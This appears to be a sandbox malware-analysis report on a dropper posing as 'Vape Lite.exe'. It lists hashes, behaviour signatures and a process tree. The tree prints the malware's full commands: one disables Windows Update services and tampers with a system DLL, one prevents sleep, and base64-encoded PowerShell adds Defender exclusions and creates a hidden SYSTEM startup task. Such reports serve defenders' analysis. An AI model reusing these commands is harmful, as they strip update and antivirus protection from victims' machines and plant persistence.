Analysis
-
max time kernel
30s -
max time network
34s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
28-01-2023 20:19
Static task
static1
General
-
Target
Vape Lite.exe
-
Size
13.7MB
-
MD5
5e2d657a39c8a243c6d781f20f98f38f
-
SHA1
4088ae74ad0a22a7640bfe74e0f53479e555cbf0
-
SHA256
2b2071a6b8b552691034efe266ccc13cb72ca20fc25ef4347b748a7cc02e88ad
-
SHA512
d0fda8495bf027b48cc3afd26a6efd47135a7712f4cbc5d372bb01216a7e9064ab8fb924abb3b6386ee23a165824194c8e4b76ef31d3288712af227daddfd3c3
-
SSDEEP
393216:fpNdNeyLeQ+gPYxto0eba2gtgebkkC7E:fdQyaQJPY/ca26gebME
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
Processes:
Vape_Lite.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Vape_Lite.exe -
Executes dropped EXE 2 IoCs
Processes:
conhost_mn.exeVape_Lite.exepid process 4832 conhost_mn.exe 4912 Vape_Lite.exe -
Possible privilege escalation attempt 2 IoCs
Processes:
takeown.exeicacls.exepid process 3252 takeown.exe 2368 icacls.exe -
Stops running service(s) 3 TTPs
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Vape_Lite.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Vape_Lite.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Vape_Lite.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
conhost_mn.exeVape Lite.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation conhost_mn.exe Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation Vape Lite.exe -
Modifies file permissions 1 TTPs 2 IoCs
Processes:
takeown.exeicacls.exepid process 3252 takeown.exe 2368 icacls.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\Vape_Lite.exe themida C:\Users\Admin\AppData\Local\Temp\Vape_Lite.exe themida behavioral1/memory/4912-145-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp themida behavioral1/memory/4912-146-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp themida behavioral1/memory/4912-148-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp themida behavioral1/memory/4912-149-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp themida behavioral1/memory/4912-150-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp themida behavioral1/memory/4912-151-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp themida behavioral1/memory/4912-155-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp themida behavioral1/memory/4912-156-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp themida behavioral1/memory/4912-157-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp themida behavioral1/memory/4912-158-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp themida behavioral1/memory/4912-160-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp themida -
Processes:
Vape_Lite.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Vape_Lite.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
Vape Lite.exeVape_Lite.exepid process 2168 Vape Lite.exe 4912 Vape_Lite.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exepid process 924 sc.exe 2968 sc.exe 4620 sc.exe 4628 sc.exe 5020 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 888 4912 WerFault.exe Vape_Lite.exe -
Modifies registry key 1 TTPs 5 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exepid process 4412 reg.exe 2908 reg.exe 2640 reg.exe 3640 reg.exe 4512 reg.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exeVape_Lite.exepowershell.exepid process 2244 powershell.exe 2244 powershell.exe 4912 Vape_Lite.exe 4912 Vape_Lite.exe 5032 powershell.exe 5032 powershell.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
Processes:
powershell.exeVape_Lite.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exedescription pid process Token: SeDebugPrivilege 2244 powershell.exe Token: SeDebugPrivilege 4912 Vape_Lite.exe Token: SeShutdownPrivilege 4052 powercfg.exe Token: SeCreatePagefilePrivilege 4052 powercfg.exe Token: SeDebugPrivilege 5032 powershell.exe Token: SeShutdownPrivilege 4584 powercfg.exe Token: SeCreatePagefilePrivilege 4584 powercfg.exe Token: SeShutdownPrivilege 3896 powercfg.exe Token: SeCreatePagefilePrivilege 3896 powercfg.exe Token: SeShutdownPrivilege 4128 powercfg.exe Token: SeCreatePagefilePrivilege 4128 powercfg.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Vape Lite.exepid process 2168 Vape Lite.exe -
Suspicious use of WriteProcessMemory 36 IoCs
Processes:
Vape Lite.execonhost_mn.execmd.execmd.exedescription pid process target process PID 2168 wrote to memory of 4832 2168 Vape Lite.exe conhost_mn.exe PID 2168 wrote to memory of 4832 2168 Vape Lite.exe conhost_mn.exe PID 2168 wrote to memory of 4912 2168 Vape Lite.exe Vape_Lite.exe PID 2168 wrote to memory of 4912 2168 Vape Lite.exe Vape_Lite.exe PID 4832 wrote to memory of 2244 4832 conhost_mn.exe powershell.exe PID 4832 wrote to memory of 2244 4832 conhost_mn.exe powershell.exe PID 4832 wrote to memory of 2140 4832 conhost_mn.exe cmd.exe PID 4832 wrote to memory of 2140 4832 conhost_mn.exe cmd.exe PID 4832 wrote to memory of 2324 4832 conhost_mn.exe cmd.exe PID 4832 wrote to memory of 2324 4832 conhost_mn.exe cmd.exe PID 4832 wrote to memory of 5032 4832 conhost_mn.exe powershell.exe PID 4832 wrote to memory of 5032 4832 conhost_mn.exe powershell.exe PID 2324 wrote to memory of 4052 2324 cmd.exe powercfg.exe PID 2324 wrote to memory of 4052 2324 cmd.exe powercfg.exe PID 2140 wrote to memory of 2968 2140 cmd.exe sc.exe PID 2140 wrote to memory of 2968 2140 cmd.exe sc.exe PID 2324 wrote to memory of 4584 2324 cmd.exe powercfg.exe PID 2324 wrote to memory of 4584 2324 cmd.exe powercfg.exe PID 2140 wrote to memory of 4620 2140 cmd.exe sc.exe PID 2140 wrote to memory of 4620 2140 cmd.exe sc.exe PID 2324 wrote to memory of 3896 2324 cmd.exe powercfg.exe PID 2324 wrote to memory of 3896 2324 cmd.exe powercfg.exe PID 2140 wrote to memory of 4628 2140 cmd.exe sc.exe PID 2140 wrote to memory of 4628 2140 cmd.exe sc.exe PID 2324 wrote to memory of 4128 2324 cmd.exe powercfg.exe PID 2324 wrote to memory of 4128 2324 cmd.exe powercfg.exe PID 2140 wrote to memory of 5020 2140 cmd.exe sc.exe PID 2140 wrote to memory of 5020 2140 cmd.exe sc.exe PID 2140 wrote to memory of 924 2140 cmd.exe sc.exe PID 2140 wrote to memory of 924 2140 cmd.exe sc.exe PID 2140 wrote to memory of 2640 2140 cmd.exe reg.exe PID 2140 wrote to memory of 2640 2140 cmd.exe reg.exe PID 2140 wrote to memory of 3640 2140 cmd.exe reg.exe PID 2140 wrote to memory of 3640 2140 cmd.exe reg.exe PID 2140 wrote to memory of 4512 2140 cmd.exe reg.exe PID 2140 wrote to memory of 4512 2140 cmd.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Vape Lite.exe"C:\Users\Admin\AppData\Local\Temp\Vape Lite.exe"1⤵
- Checks computer location settings
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\conhost_mn.exe"C:\Users\Admin\AppData\Roaming\conhost_mn.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAZwBrACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBsAHoAIwA+ACAAQAAoACAAPAAjAGcAdABrACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBjAG4AIwA+ACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzACkAIAA8ACMAYgBkAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdQBjACMAPgA="3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 03⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAcABpACMAPgAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgAnACkAIAA8ACMAbgBhACMAPgAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABTAHQAYQByAHQAdQBwACkAIAA8ACMAZwByAHoAIwA+ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABpAHMAYQBsAGwAbwB3AEgAYQByAGQAVABlAHIAbQBpAG4AYQB0AGUAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAE8AbgBJAGQAbABlAEUAbgBkACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAEQAYQB5AHMAIAAxADAAMAAwACkAKQAgADwAIwBnAGMAbQBjACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAIAAtAFUAcwBlAHIAIAAnAFMAeQBzAHQAZQBtACcAIAAtAFIAdQBuAEwAZQB2AGUAbAAgACcASABpAGcAaABlAHMAdAAnACAALQBGAG8AcgBjAGUAIAA8ACMAZwB0ACMAPgA7AA=="3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Vape_Lite.exe"C:\Users\Admin\AppData\Local\Temp\Vape_Lite.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4912 -s 7163⤵
- Program crash
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 408 -p 4912 -ip 49121⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
-
C:\Users\Admin\AppData\Local\Temp\Vape_Lite.exeFilesize
6.6MB
MD53459f3a3d65fa445d1eb52611ac55f6c
SHA1135c835edfeec60e41bc1b24f1a10ad7a86c9a00
SHA2569c85d76526d585038392e1af504886580d096e9646de2907b73feab521920944
SHA5121dbf42476304cefd859754f1d8219c0b37cc5b2885527f874245a37df5e1145dbcc1ff1ce34bdf0fa47df8a503e37244ff07a37bb92e8f2514533d8a89926d8b
-
C:\Users\Admin\AppData\Local\Temp\Vape_Lite.exeFilesize
6.6MB
MD53459f3a3d65fa445d1eb52611ac55f6c
SHA1135c835edfeec60e41bc1b24f1a10ad7a86c9a00
SHA2569c85d76526d585038392e1af504886580d096e9646de2907b73feab521920944
SHA5121dbf42476304cefd859754f1d8219c0b37cc5b2885527f874245a37df5e1145dbcc1ff1ce34bdf0fa47df8a503e37244ff07a37bb92e8f2514533d8a89926d8b
-
C:\Users\Admin\AppData\Roaming\conhost_mn.exeFilesize
2.0MB
MD539bbb25c69601eef6f5f3ca853a7a2db
SHA11f7b4450af433092fa5acbbbc8a1b727deb8ede2
SHA25687dd36f2dd875188916668530cb1a0f5ff7566b28d09c8876d26cfe3ea368201
SHA512b3b29a8e6cffa600bede1b0e8cd7dd0b4a05d2d028e0a5527e281e82334e5fdc7fb7518cd21b958efeebcd2e1d527fd52a77e6ff064910eb5f3ac87f851943ce
-
C:\Users\Admin\AppData\Roaming\conhost_mn.exeFilesize
2.0MB
MD539bbb25c69601eef6f5f3ca853a7a2db
SHA11f7b4450af433092fa5acbbbc8a1b727deb8ede2
SHA25687dd36f2dd875188916668530cb1a0f5ff7566b28d09c8876d26cfe3ea368201
SHA512b3b29a8e6cffa600bede1b0e8cd7dd0b4a05d2d028e0a5527e281e82334e5fdc7fb7518cd21b958efeebcd2e1d527fd52a77e6ff064910eb5f3ac87f851943ce
-
memory/924-177-0x0000000000000000-mapping.dmp
-
memory/2140-163-0x0000000000000000-mapping.dmp
-
memory/2168-144-0x000000007FA70000-0x000000007FE41000-memory.dmpFilesize
3.8MB
-
memory/2168-132-0x0000000000400000-0x0000000001A00000-memory.dmpFilesize
22.0MB
-
memory/2168-133-0x000000007FA70000-0x000000007FE41000-memory.dmpFilesize
3.8MB
-
memory/2168-143-0x0000000000400000-0x0000000001A00000-memory.dmpFilesize
22.0MB
-
memory/2168-134-0x0000000000400000-0x0000000001A00000-memory.dmpFilesize
22.0MB
-
memory/2244-161-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmpFilesize
10.8MB
-
memory/2244-147-0x0000000000000000-mapping.dmp
-
memory/2244-153-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmpFilesize
10.8MB
-
memory/2244-154-0x00000185F38C0000-0x00000185F38E2000-memory.dmpFilesize
136KB
-
memory/2324-164-0x0000000000000000-mapping.dmp
-
memory/2368-184-0x0000000000000000-mapping.dmp
-
memory/2640-178-0x0000000000000000-mapping.dmp
-
memory/2908-182-0x0000000000000000-mapping.dmp
-
memory/2968-167-0x0000000000000000-mapping.dmp
-
memory/3252-183-0x0000000000000000-mapping.dmp
-
memory/3640-179-0x0000000000000000-mapping.dmp
-
memory/3896-172-0x0000000000000000-mapping.dmp
-
memory/4052-166-0x0000000000000000-mapping.dmp
-
memory/4128-174-0x0000000000000000-mapping.dmp
-
memory/4412-181-0x0000000000000000-mapping.dmp
-
memory/4512-180-0x0000000000000000-mapping.dmp
-
memory/4584-169-0x0000000000000000-mapping.dmp
-
memory/4620-170-0x0000000000000000-mapping.dmp
-
memory/4628-173-0x0000000000000000-mapping.dmp
-
memory/4832-135-0x0000000000000000-mapping.dmp
-
memory/4832-141-0x0000000000BD0000-0x0000000000DCE000-memory.dmpFilesize
2.0MB
-
memory/4832-162-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmpFilesize
10.8MB
-
memory/4832-142-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmpFilesize
10.8MB
-
memory/4912-149-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmpFilesize
16.5MB
-
memory/4912-160-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmpFilesize
16.5MB
-
memory/4912-151-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmpFilesize
16.5MB
-
memory/4912-157-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmpFilesize
16.5MB
-
memory/4912-148-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmpFilesize
16.5MB
-
memory/4912-158-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmpFilesize
16.5MB
-
memory/4912-152-0x00007FFAB2090000-0x00007FFAB2285000-memory.dmpFilesize
2.0MB
-
memory/4912-138-0x0000000000000000-mapping.dmp
-
memory/4912-159-0x00007FFAB2090000-0x00007FFAB2285000-memory.dmpFilesize
2.0MB
-
memory/4912-146-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmpFilesize
16.5MB
-
memory/4912-145-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmpFilesize
16.5MB
-
memory/4912-155-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmpFilesize
16.5MB
-
memory/4912-156-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmpFilesize
16.5MB
-
memory/4912-150-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmpFilesize
16.5MB
-
memory/5020-175-0x0000000000000000-mapping.dmp
-
memory/5032-176-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmpFilesize
10.8MB
-
memory/5032-165-0x0000000000000000-mapping.dmp
-
memory/5032-185-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmpFilesize
10.8MB